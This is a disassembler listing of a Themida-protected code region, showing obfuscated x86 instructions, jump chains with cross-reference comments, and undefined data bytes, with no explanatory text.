		push	77C5E2Bh
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0FFFFFFFFh
		sub	ecx, esi
		pop	esi
		add	ecx, 4F7AD937h
		jmp	loc_5A3262
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 89560000h, 0B7E953E6h, 0E9000108h, 0FFFFEB74h
		dd 8B243487h, 0EB292424h, 10490E9h
		db 0
; ---------------------------------------------------------------------------


loc_593409:				; CODE XREF: Themida_:005A1B2Aj
		dec	edi
		xor	edi, 657C0826h
		push	ebp
		jmp	loc_59400A
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 0A2685C24h, 8900000Fh, 168240Ch, 89000049h, 0FCE92434h
		db 0DAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59342F:				; CODE XREF: Themida_:00597C01j
		not	ebp
		jmp	loc_59A098
; ---------------------------------------------------------------------------
		dw 0E181h
		dd 59015EC3h, 377CE9h
		db 0
; ---------------------------------------------------------------------------


loc_593441:				; CODE XREF: Themida_:005A0F26j
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	3337h
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_599714
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0Eh
		dd 4237817Bh, 329ABB53h, 0DA091FE7h, 0B257E9h, 2C77FF00h
		dd 0C633E9h, 81CB0500h,	0C289F85Eh, 780E9h, 4EC8300h, 81240C89h
		dd 4ECh, 241C8900h, 0E95DB551h,	0AC49h
; ---------------------------------------------------------------------------


loc_59349C:				; CODE XREF: Themida_:005A4D26j
		pop	esi
		xor	ebx, 15EBA58h
		add	esi, ebx
		mov	ebx, [esp]
		jmp	loc_59498F
; ---------------------------------------------------------------------------
aUs		db 'Ué³»',0
		dw 5A00h
		dd 61E9C328h, 0F700000Eh, 3EDC1D5h, 0E908E5C1h,	0F65Bh
		dd 25D4E95Eh, 18680001h, 0E9000017h, 111C8h
; ---------------------------------------------------------------------------


loc_5934D8:				; CODE XREF: Themida_:005A4794j
		or	ebx, edx
		pop	edx
		jmp	loc_5924ED
; ---------------------------------------------------------------------------
		dd 31240433h, 0D0F72404h, 0FF240487h, 9E92434h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5934F3:				; CODE XREF: Themida_:005952FAj
		shl	esi, 3
		jmp	loc_59F0D1
; ---------------------------------------------------------------------------
		db 5Ah
		dd 1CFA2D5Ah, 0C9050ADFh, 0E91CDB1Bh, 1238h
; ---------------------------------------------------------------------------


loc_59350C:				; CODE XREF: Themida_:005946CFj
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	478Ch
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5948F1
; ---------------------------------------------------------------------------
		dw 3C34h
		dd 8055EF80h, 0C72812EFh, 8012C780h, 305855C7h,	241C8BF8h
		dd 5104C483h, 0EFE95954h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59354B:				; CODE XREF: Themida_:005A4867j
		add	cl, 3
		jmp	loc_594F15
; ---------------------------------------------------------------------------
		db 0F7h
aS_6		db 'Þé!Ü',0
		align 2
aXsum		db 'XéuM',0
		align 10h
		dd 48BC789h, 4C48124h, 0E9000000h, 0F2BBh, 9D1C77FFh, 24041158h
		dd 0E9F2E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59357E:				; CODE XREF: Themida_:0059E7DEj
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		jmp	loc_5929C9
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 6AC8C381h, 0DF31A1EBh, 83F2E9h, 24048100h, 4, 8124048Fh
		dd 42404h, 55590000h, 3D7FE9h, 81D7F700h, 9E2AEDEFh, 1FBB530Ah
		dd 688AF4AFh, 50B5h, 0BA241489h, 513167BDh, 148BD701h
		dd 4C48324h, 0B850DF29h, 72141F1Ch, 3355BF57h, 0F8093C0Fh
		dd 81243C8Bh, 4C4h, 65352D00h, 2DE9507Fh
		db 3, 1, 0
; ---------------------------------------------------------------------------


loc_5935F7:				; CODE XREF: Themida_:00597002j
		push	ecx
		jmp	loc_592445
; ---------------------------------------------------------------------------
		db 5Dh,	45h, 81h
		dd 462287E5h, 95ED8135h, 89ACD712h, 0C2315DEAh,	8BD00158h
		dd 1FE92414h, 0C1000007h, 0B4E906E0h
		db 0CCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_593623:				; CODE XREF: Themida_:005A714Dj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_598F04
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 4, 5C243487h, 0E9241C89h, 65FFh
; ---------------------------------------------------------------------------


loc_593648:				; CODE XREF: Themida_:005A3264j
		pop	ecx
		jmp	loc_59309F
; ---------------------------------------------------------------------------
		dw 0C8B9h
		dd 81221D58h, 0B30A97E1h, 0F5B3E927h, 34870000h, 24248B24h
		dd 0E9241C89h, 4CA1h, 6624248Bh, 66240C89h, 66C8B60Fh
		dd 0F1E99C51h, 51FFFFE8h, 194344B9h, 0D9F74960h, 0BCB9F181h
		dd 0CB019FE6h, 4C38359h, 5C241C87h, 4A10458h, 2CD000BCh
		dd 0BE7EE9BCh, 815B0000h, 4ECh,	24048900h, 88B6B151h, 0E0C059C8h
		dd 0B3536604h, 911AE9F7h, 0E6890000h, 99D68h, 24048900h
		dd 8D4920B8h, 21812D56h, 0E8835ADEh, 35D0F7FFh,	79B828ACh
		dd 0E8F0F735h, 58C6017Dh, 0C556853h, 3C890000h,	21F0BF24h
		dd 14BB6DDAh, 19225DEh,	0DE015FFBh, 0B0A4E9h, 0C8295B00h
		dd 1223DE9h, 0E9CA0100h, 8DC7h,	8846B050h, 7810E9C5h, 34890000h
		dd 4BE24h, 3F050000h, 16B423Ah,	3A3F2DF0h, 575E6B42h, 8F0BE9h
		dd 6CEA8100h, 0E91B8B0Ch, 4802h, 0E981E901h, 6A146BF9h
		dd 5F7FE9h, 0D3F75900h,	8103EBC1h, 4B746EC3h, 81D3F709h
		dd 0C01938EBh, 82EB811Dh, 296E0326h, 0EEC15BDEh, 3CE95702h
		dd 5A000131h, 2CD80059h, 5B66B7h, 0E94F2CD8h, 3C53h, 11490A05h
		dd 0E9C30116h, 0FFFFFAB9h, 28C0E980h, 11E959CEh
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59379F:				; CODE XREF: Themida_:0059E5CFj
		mov	esi, 6E4F23C0h
		and	ecx, esi
		pop	esi
		xor	ecx, 100D04A6h
		neg	ecx
		add	ecx, 98C0603h
		add	ecx, 0CAFDC7FFh
		jmp	loc_59DE11
; ---------------------------------------------------------------------------
		dd 1A76C2BEh, 1764E976h, 55B0000h, 5D943C91h, 6D6EE81h
		dd 0C6010480h, 6D6C681h, 34FF0480h, 0C4835824h,	0EDB0E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5937EA:				; CODE XREF: Themida_:005971ECj
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_59FC59
; ---------------------------------------------------------------------------
		db 89h
		dd 243C8BFEh, 4C481h, 0F3310000h, 0BA52535Eh, 408F53D2h
		dd 4245431h, 98C4E95Ah,	0B9510000h, 3DC174FDh, 6859CA01h
		dd 6136h, 0BF243C89h, 50D74F43h, 63E9EA81h, 28E94A70h
		dd 5B00007Ch, 8108EBC1h, 710C8BE3h, 0BF574B0Dh,	7A826B23h
		dd 0D5D7E9h, 4C48100h, 87000000h, 665C2404h, 6824048Bh
		dd 6165h, 68240C89h, 1003h, 52B868h, 31D0E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59386E:				; CODE XREF: Themida_:005A3A1Dj
		add	edx, 4
		jmp	loc_5A1C90
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 6
		dd 5843E755h, 830CE9h
		db 0
; ---------------------------------------------------------------------------


loc_593885:				; CODE XREF: Themida_:0059B0FBj
		and	edi, 2E613227h
		add	edi, 3FC50CFBh
		push	edi
		jmp	loc_59ED8B
; ---------------------------------------------------------------------------
		db 66h
		dd 0D1E9028Fh, 56FFFFE6h, 0C681E689h, 4, 4C681h, 34330000h
		dd 24343124h, 0E9243433h, 121EBh, 0A433D0BBh, 16FBBF11h
		dd 0DF0128A8h, 0CF81475Bh, 43364ECCh, 6399CF81h, 0C7813DD7h
		dd 78B63257h, 55FDEF81h, 0FA31B5AEh, 52D2F75Fh,	8B2414F7h
		dd 0C4812414h, 4, 3257BB53h, 0DA210131h, 6779E9h, 75B4BB00h
		dd 0B4E95EBBh
		db 0D4h, 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		push	5A9Ah
		mov	[esp], edi
		jmp	loc_59D4F9
; ---------------------------------------------------------------------------
		dw 0D5F6h
		dd 0EA5BE9h, 43F0400h, 8B8C040Dh, 19E92414h, 300000EDh
		dd 240C8BEFh, 4C481h, 0F7800000h, 88CF804Dh, 886B551h
		dd 0C78059EFh, 1EF80E6h, 76F068h, 24148900h, 0F28093B2h
		dd 0CEEA809Dh, 663AC280h, 853B450h, 0D14FE9E2h,	8F5F0000h
		dd 248B2404h, 24248924h, 4240483h, 9A4E959h, 68500000h
		dd 21117134h, 0DAE94058h, 4FFFFFAh, 0C9E95275h,	0AD0000FAh
		dd 7CCFEE81h, 0BA52308Fh, 7F6C0B8Fh, 0D368DAF7h, 89000008h
		dd 0BD55241Ch, 19A2203Ch, 0DF7BE9h, 24248B00h, 51C8AF0Fh
		dd 0E59AE99Ch, 0DDF6FFFFh, 0ED80D5F6h, 80C5FEC3h, 0C580D8E5h
		dd 0E9E830C9h, 7A26h, 8B3BEF81h, 0BEE91106h, 810000C8h
		dd 301559CBh, 8AE94B12h, 38000042h, 65E99CC1h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593A0B:				; CODE XREF: Themida_:0059C6D5j
		add	ecx, 6B690CFAh
		add	ecx, ebp
		sub	ecx, 6B690CFAh
		pop	ebp
		jmp	loc_5946C8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 241CD259h, 9BD9E99Ch, 0E9500000h,	26D2h
		dd 34FFFB01h, 9DB5E924h, 0EC830000h, 24148904h,	0F56BEABAh
		dd 8BD3297Fh, 0C4832414h, 52416804h, 16E90000h,	5500011Bh
		dd 0C72729BDh, 0F454E925h, 348B0000h, 4C48324h,	0E9242C33h
		dd 3B99h, 6019F2BEh, 0C6814E61h, 216221E3h, 4779F681h
		dd 8CE9104Eh, 0FF000000h, 835B2434h, 48904ECh, 0EA93E924h
		dd 0E8B0FFFFh, 6858C328h, 6D9Fh, 0B6241489h, 0E9F30090h
		dd 0FFFFFA03h, 28F5EF81h, 0C7816C3Eh, 20973E58h, 815FF901h
		dd 715906EBh, 0E9CB0126h, 96ABh
; ---------------------------------------------------------------------------


loc_593ACC:				; CODE XREF: Themida_:00592A69j
		add	eax, edx
		pop	edx
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		movsx	ecx, ax
		push	2143h
		mov	[esp], ecx
		jmp	loc_591F70
; ---------------------------------------------------------------------------
		dd 9C240CD3h, 0FFE477E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593AF9:				; CODE XREF: Themida_:005A6A3Cj
		sub	esi, 53B23627h
		and	esi, 2BFD52F5h
		xor	esi, 22590052h
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59C438
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C68106EEh, 4D50026Ch, 5F5EF329h, 8904EC83h,	0E956241Ch
		dd 0FFFFE61Eh
; ---------------------------------------------------------------------------


loc_593B30:				; CODE XREF: Themida_:00596141j
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_59B7E5
; ---------------------------------------------------------------------------
		dd 9961F2B9h, 4EBB5334h, 4343145Fh, 87DE381h, 0EBC12FC6h
		dd 1322E903h, 0AB680001h, 5D4FD530h, 94ED8145h,	0E90D9823h
		dd 80FEh, 4C281h, 0EA810000h, 4, 2474FF52h, 24148B04h
		dd 4C481h, 48F0000h, 24248B24h,	89241C89h, 4C381E3h, 68000000h
		dd 7EFAh, 1839E9h, 0E9CD0100h, 0ABDEh
; ---------------------------------------------------------------------------


loc_593BB4:				; CODE XREF: Themida_:0059A7CFj
		shr	esi, 4
		sub	esi, 387A1AF8h
		jmp	loc_59D954
; ---------------------------------------------------------------------------
		dw 7805h
		dd 0E9125E25h, 3D49h, 21FEEF81h, 0E7D16940h, 8108EFC1h
		dd 4B3816F7h, 5FFA2928h, 0C281DA01h, 28561429h,	2C8132FFh
		dd 0A533C324h, 0C3055872h, 5A72A533h, 0EC83565Bh, 240C8904h
		dd 1253CE9h, 8EE95800h,	0B900008Bh, 7A980B18h, 0FFFFC181h
		dd 0D1F7FFFFh, 1069BE9h, 1AE9AD00h, 0FF000012h,	83592434h
		dd 536604C4h, 67684FB3h, 89000003h, 0B7B5240Ch,	0E8004E2Ch
		dd 8092B652h, 71E94FE6h, 81000070h, 816DF4C3h, 0D5F3E907h
		dd 15D0000h, 2434FFD6h,	10112E9h, 0E5C15E00h, 2ECD8102h
		dd 0C1338753h, 0EFE902E5h
		db 7Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_593C6F:				; CODE XREF: Themida_:00599FCFj
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	ecx
		push	ebx
		mov	ebx, 382F25EFh
		push	ecx
		mov	ecx, 33A84824h
		jmp	loc_597965
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 0E7895724h, 4C0EE9h,	5385B300h, 0C7FEDDB7h, 0DFF6DFF6h
		dd 80D9F780h, 0F828CDF7h, 4D8005Bh, 8B665BCAh, 0C483240Ch
		dd 0AA3FE902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593CBA:				; CODE XREF: Themida_:0059C8D2j
		mov	[esp], edi
		mov	edi, 23994F50h
		or	edi, 1DB6684h
		add	edi, 1CFA7BADh
		xor	edi, 55E8BFEBh
		add	ebx, 22031875h
		sub	ebx, edi
		jmp	loc_5A5EC2
; ---------------------------------------------------------------------------


loc_593CE1:				; CODE XREF: Themida_:005986EEj
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_59E417
; ---------------------------------------------------------------------------


loc_593CEB:				; CODE XREF: Themida_:005A2874j
		push	esp
		pop	eax
		jmp	loc_59D6E2
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 5D6F16EAh, 85A8E9h, 0A3E95C00h, 57000102h, 0C781E789h
		dd 4, 8704EF83h, 895C243Ch, 0E189240Ch,	4C181h,	55E90000h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593D23:				; CODE XREF: Themida_:0059CA57j
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_59C8E2
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0FDC9E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593D42:				; CODE XREF: Themida_:0059E681j
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		jmp	loc_5A3854
; ---------------------------------------------------------------------------
		dd 0F7CE875Eh, 0B86BE9D1h, 0CB310000h, 0FFDA0159h, 9EE92434h
		db 0D6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_593D6F:				; CODE XREF: Themida_:005A084Fj
		mov	edx, [esp]
		add	esp, 4
		pop	edx
		sub	esp, 4
		jmp	loc_5A57DA
; ---------------------------------------------------------------------------
		dd 8F53D2BDh, 5DEE3140h, 1C77215Bh, 0FF2434FFh,	535E2434h
		dd 18A6E9h
		db 0
; ---------------------------------------------------------------------------


loc_593D9D:				; CODE XREF: Themida_:0059B0F3j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_59C317
; ---------------------------------------------------------------------------


loc_593DA9:				; CODE XREF: Themida_:0059D4E0j
		mov	[esp], eax
		mov	al, 59h
		mov	dh, al
		mov	eax, [esp]
		jmp	loc_594CCD
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 0E95B0000h, 6554h, 0E980EF80h, 0B41h
; ---------------------------------------------------------------------------


loc_593DD0:				; CODE XREF: Themida_:005A4195j
		sub	ebp, ebx
		sub	ebp, 27C240C2h
		add	ebp, 36D001ADh
		jmp	loc_595953
; ---------------------------------------------------------------------------
		db 81h
		dd 5A2064EBh, 97BF575Fh, 815D950Dh, 4275E5F7h, 1FD2E927h
		dd 0C890000h, 0C9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593E02:				; CODE XREF: Themida_:0059CFE3j
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_59FFE0
; ---------------------------------------------------------------------------


loc_593E13:				; CODE XREF: Themida_:00596B24j
		xor	edx, esi
		pop	esi
		jmp	loc_5943AF
; ---------------------------------------------------------------------------
		db 8Bh
		dd 66642424h, 49E90289h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593E27:				; CODE XREF: Themida_:0059801Dj
		neg	ecx
		add	ecx, 8F132E77h
		sub	esi, ecx
		pop	ecx
		sub	esi, 0E7C7108h
		jmp	loc_5A4A69
; ---------------------------------------------------------------------------
		db 68h,	0F4h, 28h
		dd 14890000h, 663C6824h, 0C890000h, 2DE95224h, 5BFFFFEEh
		dd 6576E9h, 3188B900h, 0CA891E9Ch, 8B48E9h, 240C8B00h
		dd 0E95F5457h, 0FFFFF21Bh, 0F0005966h, 69E9C204h, 810000C4h
		dd 4C6h, 6207E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593E86:				; CODE XREF: Themida_:005A5928j
		pop	esp


loc_593E87:				; CODE XREF: Themida_:00593295j
					; Themida_:005A1587j
		mov	ebx, [esp]
		sub	esp, 4
		jmp	loc_5A36E3
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 7A2A17F1h, 17F12D58h, 15E97A2Ah, 0AD00004Fh,	7AC0E951h
		dd 2C890000h, 3AD4BD24h, 91E92984h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_593EBB:				; CODE XREF: Themida_:0059C1CBj
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, ecx
		jmp	loc_59E49D
; ---------------------------------------------------------------------------
		db 0B9h
		dd 11732914h, 6532E9h, 4C68100h, 33000000h, 34312434h
		dd 0EE87E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593EE6:				; CODE XREF: Themida_:005A26A8j
		sub	esp, 4
		jmp	loc_5A2D2C
; ---------------------------------------------------------------------------


loc_593EEE:				; CODE XREF: Themida_:005923F3j
		push	eax
		mov	eax, 19FA4C24h
		jmp	loc_59B137
; ---------------------------------------------------------------------------
		db 0ADh, 81h, 0ECh
		dd 4, 0BA241489h, 0A287959h, 370DEA81h,	26E99937h, 31FFFFF8h
		dd 83CA31D1h, 0D931FFC1h, 0A8E9CB31h, 8B00009Bh, 0C481242Ch
		dd 4, 4C381h, 43E90000h, 1FFFFF2h, 243C8BFBh, 8304C483h
		dd 1C8702C3h, 0BF97E924h, 81660000h, 663278C1h,	1692F181h
		dd 8FF18166h, 8DD6E960h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593F5E:				; CODE XREF: Themida_:005A1429j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		xor	eax, 0EC4E1D0Ch
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5A0BFB
; ---------------------------------------------------------------------------
		db 0F7h
		dd 2EDC1D5h, 7476E9h, 0DE885200h, 148BF588h, 4C48324h
		dd 241C8B66h, 2C481h, 0ED800000h, 0F0E8E9FFh, 0D6BF0000h
		dd 0E90A7C6Ah, 0EEACh, 4BBh, 8BD80100h,	8953241Ch, 4C381E3h
		dd 81000000h, 4C3h, 6C5CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593FD6:				; CODE XREF: Themida_:005958BCj
		push	ebx
		mov	ebx, 5ABC2A38h
		jmp	loc_593201
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0E9E38953h, 0FFFFED2Fh
; ---------------------------------------------------------------------------


loc_593FEC:				; CODE XREF: Themida_:00595C20j
		pop	esp
		jmp	loc_5A452C
; ---------------------------------------------------------------------------
aSts		db '\é’s',0
		align 4
		dd 425BDA31h, 54E5C281h, 0D001E2ECh, 0D7ECE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59400A:				; CODE XREF: Themida_:00593411j
		mov	ebp, 15D71E0Dh
		jmp	loc_59B771
; ---------------------------------------------------------------------------
aS_7		db ']é',9,'±',0
		align 2


loc_59401A:				; CODE XREF: Themida_:0059E31Dj
		push	eax
		jmp	loc_5A3673
; ---------------------------------------------------------------------------
		dd 2BAh, 0DE56E900h, 0D6F70000h, 0FE31F731h, 0E956F731h
		dd 0FFFFF788h, 24048B66h, 1209BE9h, 5F1E2D00h, 0C129030Fh
		dd 0FFCA0158h, 0E9592434h, 176Eh, 0D8B5515Ah, 1FB15152h
		dd 0DA6E950h
		db 1, 0
; ---------------------------------------------------------------------------


loc_594062:				; CODE XREF: Themida_:00594867j
		and	eax, 286A4A88h
		add	eax, 48D010A4h
		mov	edi, eax
		pop	eax
		xor	edi, 642B02B2h
		dec	edi
		not	edi
		shl	edi, 2
		or	edi, 6AE71F9Ah
		add	edi, 47FB413Dh
		sub	edi, 15022988h
		sub	ebp, 2FB44848h
		add	ebp, edi
		add	ebp, 2FB44848h
		pop	edi
		jmp	loc_599C04
; ---------------------------------------------------------------------------
		db 80h,	0E5h, 13h
		dd 0E909F580h, 2E31h
; ---------------------------------------------------------------------------


loc_5940AC:				; CODE XREF: Themida_:00596D2Aj
		mov	ebx, 44A335Ah
		mov	ecx, 30439586h
		jmp	loc_59ABCB
; ---------------------------------------------------------------------------
		db 0B8h
		dd 44A9010Eh, 3106BB25h, 2E0C125h, 354BE9h, 14A26800h
		dd 4890000h, 1AC8B824h,	0C1016ECBh, 8124048Bh, 4C4h, 0EDBA5200h
		dd 107CB33h, 0F9015AD1h, 76C4E950h, 0F7580000h,	18DCE9D1h
		dd 68570001h, 4, 0FFFA015Fh, 835F2434h,	0A4E904C4h, 510000F0h
		dd 60CE68h, 24248900h, 78B1E9h,	93C68100h, 0E9A2E156h
		dd 7115h, 33C1F181h, 0C1812DBEh, 7292C2Ch, 0FFE7D3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59413D:				; CODE XREF: Themida_:0059743Ej
		pop	edi
		jmp	loc_598B7A
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC812414h, 4, 4EC81h, 24890000h, 24048124h,	4, 5224048Fh
		dd 4BAh, 24540100h, 0E62BE904h,	0F5810000h, 1DFC6565h
		dd 0C2ECE952h, 8B660000h, 6FE9240Ch, 8100009Bh,	0C067F3CFh
		dd 51DBE96Fh, 0C4810000h, 4, 89CEE9h, 2434FF00h, 1283AE9h
		dd 754BA00h, 0D6314B54h, 0E9F2015Ah, 0A88Ah
; ---------------------------------------------------------------------------


loc_5941B0:				; CODE XREF: Themida_:00594995j
		sub	esi, 4674450h
		jmp	loc_5A6E67
; ---------------------------------------------------------------------------
		db 68h
		dd 7D31h, 0B9240C89h, 4, 4244C01h, 0E9240C8Bh, 12910h
		dd 6172C781h, 0FA016151h, 83243C8Bh, 0B85004C4h, 4, 5258C201h
		dd 42474FFh, 24048F5Ah,	8324248Bh, 148704C2h, 24248B24h
		dd 2404A30Fh, 0DD66E99Ch, 6651FFFFh, 667E67B9h,	6605E1C1h
		dd 0E9816649h, 816677E9h, 6625BAF1h, 5659CF29h,	4AD7BE66h
		dd 81664666h, 6657E2C6h, 6606EEC1h, 2750C681h, 8BF72966h
		dd 0A1E92434h, 68000023h, 580Eh, 0E9243C89h, 0EC1Ch
; ---------------------------------------------------------------------------


loc_594250:				; CODE XREF: Themida_:0059D875j
		mov	cx, [esp]
		add	esp, 2
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h,	0C3h, 66h
		dd 81240C8Bh, 4ECh, 241C8900h, 6980E9h,	0E6E95200h, 4Eh
		dd 0C8005AD1h, 81240C8Bh, 4C4h,	5EB65200h, 0E957E680h
		dd 7B78h, 3BE9E689h, 0FF00004Ch, 83592434h, 0CDE904C4h
		dd 89FFFFDCh, 4B951E0h,	1000000h, 40559C8h, 87000000h
		dd 685C2404h, 55DFh, 0DBA0E9h, 0F0E95200h, 810000E4h, 43A19F6h
		dd 5EF301C7h, 4B850h, 0C3010000h, 63B9E958h, 4890000h
		dd 4B824h, 0C2010000h, 0C362E958h, 0E6810000h, 23F27104h
		dd 1EE81h, 0C6810000h, 180A35DDh, 0FE9BE952h, 0C4FEFFFFh
		dd 309FC480h, 0EA0058E5h, 108B4E9h, 0E9E82900h,	114ABh
		dd 8000B252h, 0D32890F2h, 0EAB5515Ah, 12313E9h,	48B6600h
		dd 1314E924h, 53560000h, 4E96E9h, 53CFBE00h, 0C28152CCh
		dd 11514A51h, 0EA81F229h, 11514A51h, 0F725E9h, 52E95200h
		dd 810000D2h, 1652D9C6h, 18D1E997h, 0B8500001h,	4, 0B6E2E955h
		dd 0C6880000h, 12617E9h
		db 0
; ---------------------------------------------------------------------------


loc_594379:				; CODE XREF: Themida_:0059F3A1j
		mov	edi, [esp]
		jmp	loc_5955EC
; ---------------------------------------------------------------------------
aEsmm		db 'E鬌',0
		dw 0F700h
		dd 8EAC1D2h, 6A20C281h,	0EA8167ADh, 42AFB5DEh, 55AD029h
		dd 2E34C3Ah, 592434FFh,	4C481h,	1AE90000h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5943AF:				; CODE XREF: Themida_:00593E16j
		inc	edx
		jmp	loc_5A037A
; ---------------------------------------------------------------------------
aHsld		db 'Héld',0
		dw 0F700h
		dd 378D2DD8h, 0C631C679h, 0E9D6F758h, 0ED66h, 0E924048Fh
		dd 0FA86h
; ---------------------------------------------------------------------------


loc_5943D4:				; CODE XREF: Themida_:00599F23j
		push	edx
		mov	edx, 86000Ch
		jmp	loc_596676
; ---------------------------------------------------------------------------
		db 59h
		dd 66C0B60Fh, 0E924148Bh, 70C2h, 6ED7BD55h, 0ED8108BAh
		dd 8BA6ED3h, 34FFEB01h,	242C8B24h, 8304C483h, 0EB8304C4h
		dd 241C3304h, 0E9241C31h, 4F5h,	8CE9525Eh
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59441B:				; CODE XREF: Themida_:0059918Bj
		add	esp, 4
		push	ebx
		push	ebp
		push	6C0A313Ch
		pop	ebp
		dec	ebp
		add	ebp, 0FFFFFFFFh
		push	edi
		mov	edi, 65F90CF5h
		xor	edi, 3278426Eh
		jmp	loc_596171
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 212CC681h, 0CE012CD5h, 212CEE81h,	0C8B2CD5h, 4C48324h
		dd 8904EC83h, 4BB241Ch,	1000000h, 47C9E9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59446A:				; CODE XREF: Themida_:00592222j
		add	esi, ecx
		push	ebp
		mov	ebp, 7A923BF3h
		and	ebp, 13736C1Ah
		shr	ebp, 1
		inc	ebp
		or	ebp, 74B243AFh
		dec	ebp
		jmp	loc_591FAB
; ---------------------------------------------------------------------------
		db 30h
		dd 0C05966EAh, 0B55102E2h, 0FEC5FE6Fh, 94F580CDh, 0FFFC04E9h
		dd 0F6D7F6FFh, 0CFEF80DFh, 83E9FE30h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5944AB:				; CODE XREF: Themida_:00597CBFj
		push	eax
		mov	eax, 3A2B4DDFh
		shl	eax, 2
		sub	eax, 0E8AD3778h
		add	esi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5A3E06
; ---------------------------------------------------------------------------
aZsu7		db 'Zéž7',0
		align 2
		dw 0BB53h
		dd 51178064h, 0A4E9DA01h, 66000119h, 51240C8Bh,	0EC83E189h
		dd 241C8904h, 8904EC83h, 78BD242Ch, 813CCC63h, 587327F5h
		dd 2EDC109h, 1AF0BF57h,	0EF816658h, 5D93527Ch, 6A5BF781h
		dd 0EFC12C74h, 2C78105h, 290C3F7Fh, 1319E9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594526:				; CODE XREF: Themida_:005A245Ej
		push	4E076143h
		pop	ecx
		mov	esi, ecx
		jmp	loc_59E28A
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8B24048Fh, 45052424h, 66533109h, 29E930FFh, 5DFFFFDAh
		dd 89AE9h, 24048700h, 8924248Bh, 0DF68241Ch, 89000021h
		dd 33682414h, 0E9704C2Ah, 63ECh
; ---------------------------------------------------------------------------


loc_594568:				; CODE XREF: Themida_:0059520Cj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	10FAh
		jmp	loc_59FDBA
; ---------------------------------------------------------------------------
		db 1, 0D5h, 81h
